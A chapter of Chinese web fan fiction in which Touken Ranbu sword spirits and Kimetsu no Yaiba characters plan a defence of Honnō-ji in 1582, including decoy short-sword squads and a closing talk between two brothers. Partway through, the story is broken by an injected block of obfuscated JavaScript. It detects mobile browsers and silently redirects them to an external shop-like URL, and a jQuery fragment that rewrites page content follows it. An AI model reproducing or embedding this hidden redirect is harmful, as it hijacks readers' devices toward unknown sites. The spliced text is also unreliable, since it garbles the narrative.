第129章:战术讨论
他放大能量分布图。
图中,本能寺区域的灵力流呈现诡异的螺旋结构,像台风眼。
“它会放大灵基共鸣中的噪声。”药研替他说了下去,声音发冷,“羁绊越深,共鸣越强的群体,在那种环境里暴露的情感里的杂质就越多。便于观测,便于采集,便于……做实验。”
长谷部突然开口:“所以他们可能一箭双雕。既用本能寺验证技术,又趁机采集粟田口的灵基数据。”
他面前摊开一本厚重的战术日志,页边贴满了彩色标签。国重自庆典醒来后又被药研强制回去休息了,他的位置空着,但椅子没撤。
审神者沉默了一会儿。
茶凉了。
“关原和黑船呢?”他问。
“设疑兵。”严胜说。这次他的语气已经平静了许多。
所有人都看向他。
他盯着光幕上本能寺那片深红,眼神像在测量刀与目标之间的距离:“他们知道我们在分析。三选一,太明显。关原和黑船至少各派一支小队做表面布防,否则等于直接告诉对方‘我们猜到了’。”
“同意。”长义的手指在桌面上敲了两下,节奏规整得像秒针,“我建议每处布置两支干扰小队,携带高灵力反应装置,模拟主力部队的灵压特征。不需要交战。”
“需要计算资源分配。”长谷部已经开始在日志上写算式,“本丸目前可调动出阵战力四十七振,扣除基础防卫和轮值,能动用的最多三十三振。如果本能寺投入二十振,剩下十三振要覆盖两个时间点,还要预留至少五振作为紧急预备队……”
“短刀可以去。”信浓藤四郎的声音从会议室角落传来。
他坐在靠门的矮凳上,梅子色的短发在灵光下显得有点暗淡。见所有人都看过来,他攥了攥内番服的衣角,但没低头。
“短刀队现在可以调动十二振。”信浓说,语速有点快,像背过很多遍,“我和后藤带队,分两组,每组六振。一组去关原,一组去黑船。我们灵压小,机动性强,不容易引起大规模时空扰动,但足够启动干扰装置。”
他停顿,补充:“而且……如果敌人真的把粟田口当目标,短刀队不在本能寺,反而安全。”
药研盯着他看了几秒,然后点头:“有道理。”
“但风险呢?”长谷部皱眉,“短刀队单独行动,遭遇意外怎么办?”
“配经验丰富的监护人。”严胜说。
他声音不高,但会议室静了下来。
“每组配一振打刀太刀或大太刀。”严胜的目光扫过光幕,“石田正宗可以带队去关原,他熟悉战国后期战场。让长曾祢虎彻带另一组去黑船,他对幕末历史有研究。”他顿了顿,“两人都有照顾弟弟的经验。”
审神者看了他一会儿,忽然笑了。
“方案通过。”审神者说,“南海,完善细节。长谷部,计算资源分配表,两小时内给我。药研,准备短刀队的医疗包和紧急传送符。长义……”
山姥切长义抬起眼。
“你的监察官权限,还能调用多少无害的监测装置?”审神者问。
“足够覆盖三个时间点的外围观测。”长义回答,“但需要理由。大规模调动监测设备需要备案。”
“备案理由写……”审神者想了想,“S-07本丸开展跨时代协同防御演练,申请临时监测支持。”
长义挑眉:“他们会信?”
“不需要他们信。”审神者向后靠进椅背,目光落在光幕上那片深红,“只需要程序上过得去。至于那些藏在程序后面的人怎么想……”他笑了笑,“随他们。”
会议进入技术细节讨论。
严胜没再说话。他看向窗边,缘一坐在那里,膝盖上摊着那个深蓝色的笔记本,手里拿着笔,但没在写。他的目光落在光幕上,瞳孔深处有极淡的金色光晕流转,像在“阅读”那些数据背后的什么东西。
审神者等讨论声暂歇时,敲了敲桌子。
“最后一点。”他说。
所有人停下。
“这次战斗,从战术层面看,是守护历史节点。”审神者的目光扫过每个人的脸,“从更根本的层面……这是一场关于‘正当性’的战争。”
他站起身,走到光幕前。手指点在1582那个数字上。
“织田信长死在这里。他的野心、他的暴虐、他的革新、他的终结,所有这些混在一起,成了历史的一部分。净罪之翼想证明的是:连这种级别的混乱情感,都可以被技术修剪成整齐的数据。他们想证明情感是冗余的、危险的、是需要被管理的。”
他收回手,转身面对众人。
“而我们要证明的是:地藏行平的执念、信长的野望、甚至我们每个人心里那些没法用数据衡量的过往,这些缺乏效率的东西,才是构成历史和人性的真正重量。”
他停顿。
“他们想切除肿瘤。而我们……”审神者看向严胜,又看向缘一,药研,长义……看向会议室里每一张脸,“我们要证明,哪怕带着不完美,有着永远愈合不了的裂痕,也值得活下去。”
没人说话。
严胜握住虚哭神去的刀柄。刀鞘传来温润的触感,眼球纹路轻轻搏动,像在回应什么。
缘一合上了笔记本。
“兄长。”他忽然说,声音在安静的会议室里格外清晰。
严胜看向他。
“如果……”缘一斟酌着词句,眉头微微皱起,像在解一道复杂的数学题,“如果净罪之翼的技术真的成功了。如果情感真的可以被完全净化……那地藏行平还会记得玉子夫人吗?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17181874|192977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
严胜沉默。
“不会。”长义替他把话说了。话音平直,仿佛每个字都结着霜。“他将成为高效的守护工具。任务和技巧都会记得,唯独忘记守护的理由。”
“那就不行。”缘一说。
严胜看着他弟弟的眼睛。那双总是过于清澈的眼睛里,此刻映着光幕的红色,也映着会议室里每个人沉默的脸。
“嗯。”严胜低声应道。
就一个字。
但缘一听见了。他点点头,在笔记本新的一页上写下什么。
审神者拍了拍手。
“散会。各自准备。”他说,“三十六小时后,我们去1582年,要让他们知道,他们所谓的手术,才是多余的。”
人们起身离开。
战术室暗下来,只剩窗外渐沉的暮色。
缘一在门口等他。
“兄长。”他说,“我能问个问题吗?”
“问。”
“如果……”缘一犹豫了一下,“如果这次我‘看见’的东西,让您不舒服了……我该说吗?”
严胜看向他。
暮光里,缘一的脸一半在阴影中,一半被最后的余晖照亮。他抱着笔记本,站姿有点僵硬,像在等待某种判决。
严胜想起那个深蓝色本子上的记录。想起“麻烦”。想起月光下晕开的金色光晕。
“……说。”他说,转身走向门口,“但别在战斗中说。”
缘一愣了一下,然后跟上去。
“那什么时候能说?”
“打完。”
缘一跟在他身后半步,低头在笔记本上写写画画。严胜不用看也知道,大概又在记什么“兄长说等打完了再说”之类的。
走廊很长。
暮色从窗户斜射进来,把两人的影子拉得很长,叠在一起。
远处传来短刀们训练的声音,竹刀相击的脆响混着稚气的呼喝。厨房飘出晚饭的香气,烛台切大概又在试新菜。
一切如常。
严胜握紧虚哭神去。
刀鞘传来平稳的搏动,像心跳。
他知道,这片如常会被打破。但他也知道,这一次,他不是一个人握着刀。
缘一忽然开口:“兄长。”
“嗯。”
“等打完了……”缘一的声音很轻,“我能请您教我吹笛子吗?真正的教。”
严胜的脚步停住。他沉默片刻,转头望向窗外渐暗的天空。
“等我们活着回来。”他低声说,像是在提醒弟弟,也像是在提醒自己,“战场上,没有什么是可以保证的。”
缘一安静地听着,然后点了点头。
“嗯。”他说,“那等打完,活着回来时候。”
严胜的脚步没停。
暮色更深了。